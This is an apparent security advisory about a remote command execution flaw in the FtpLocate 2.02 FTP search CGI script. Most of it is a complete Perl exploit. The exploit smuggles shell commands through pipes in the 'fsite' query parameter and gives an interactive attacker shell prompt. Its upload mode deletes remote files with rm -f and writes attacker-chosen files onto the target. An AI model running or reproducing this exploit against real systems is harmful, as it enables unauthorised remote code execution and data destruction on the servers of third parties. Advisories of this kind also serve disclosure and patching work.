[EXPL] FtpLocate Command Execution (Exploit)

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  FtpLocate Command Execution (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://turtle.ee.ncku.edu.tw/ftplocate/readme.english.html> FtpLocate - 
"a fast and free FTP search engine with source available for download."

FtpLocate has been found to be vulnerable to a command execution 
vulnerability that allows remote attackers to run malicious code on 
vulnerable system.

DETAILS

Vulnerable Systems:
 * FtpLocate version 2.02 and prior

Exploit:
#!/usr/bin/perl
#
# FtpLocate <= 2.02 (current) remote exploit
# VERY PRIVATE VERSION
# DO NOT DISTRIBUTE
#
# newbug Tseng [at] chroot.org
#

sub my_socket
{
    my $s=IO::Socket::INET->new(PeerAddr => $host,
                PeerPort => 80,
                Proto => "tcp") or die "socket: ";
}
sub ch2hex
{
    $chr = $_[0];
    $out="";
    for($i=0;$i<length($chr);$i++)
    {
        $ch = substr($chr,$i,1);

        if($ch eq "\"")
        {
            $out.="%5c%22";
        }

        elsif($ch eq "\$")
        {
            $out.="%5c%24";
        }
        elsif($ch eq "\@")
        {
            $out.="%5c%40";
        }
        else
        {
            $out.="%".sprintf("%2.2x",ord($ch));
        }
    }
    $out;
}
sub upload_file
{
    print "local file: ";
    chomp($lfile = <STDIN>);
    print "remote file: ";
    chomp($rfile = <STDIN>);

    my $socket = &my_socket($host);
    print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk";
    close $socket;
    print "remove $host:$rfile done.\n";

    my @DATA = `cat $lfile`;
    $num=1;
    $total = scalar @DATA;
    foreach $DATA (@DATA)
    {
        $DATA = &ch2hex($DATA);
        my $socket = &my_socket($host);
        print $socket "GET 
$cgi?query=xx\&fsite=|echo%20\"$DATA\"%20>>$rfile| $junk";
        print "Send lfile \"$lfile\" to $host:$rfile ... ($num/$total)\n";
        sleep(1);
        close $socket;
        $num++;
    }
}
use IO::Socket::INET;

print "FtpLocate flsearch.pl remote exploit\n";
print "host: ";
chomp ($host = <STDIN>);
print "port (80): ";
chomp ($port = <STDIN>);
if($port eq "")
{
    $port = 80;
}
print "version 1.0/1.1 (1.0): ";
chomp ($ver = <STDIN>);
if($ver eq "")
{
    $ver = "1.0";
}
print "cmd/upload (cmd): "; chomp ($opt = <STDIN>);
if($opt eq "") {
    $opt = "cmd";
}
print "cgi path (/cgi-bin/ftplocate/flsearch.pl): ";
chomp ($cgi = <STDIN>);
if($cgi eq "")
{
    $cgi = "/cgi-bin/ftplocate/flsearch.pl";
}
if($ver eq "1.0")
{
    $junk = "HTTP/1.0\n\n";
}
else
{
    $junk = "HTTP/1.1\n" . "Host: $host\n" . "User-Agent: Mozilla/5.0 
(X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1" . 
"Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9;text/plain\n" . 
"Accept-Language: zh-tw,en-us;q=0.7,en;q=0.3" . "Accept-Encoding: gzip,deflate" 
. "Accept-Charset: Big5,utf-8;q=0.7,*;q=0.7" . "Keep-Alive:300" . "Connection: 
keep-alive\n" . "\n";
}
if ($opt eq "cmd")
{
    while(1){
        print "h4ck3r\@[$host]:~\$ ";
        chomp ($cmd = <STDIN>);
        if($cmd ne "")
        {
            print "Send command \"$cmd\" to $host ...\n";
            $socket = &my_socket($host);
            $cmd =~ s/\s/%20/g;

            print $socket "GET $cgi?query=xx\&fsite=|$cmd| $junk";
            print "done.\n";
        }
    }
}
elsif($opt eq "upload")
{
    &upload_file($lfile);
}

print "done.\n";


ADDITIONAL INFORMATION

The information has been provided by  <mailto:Tseng@chroot.org> Tseng.



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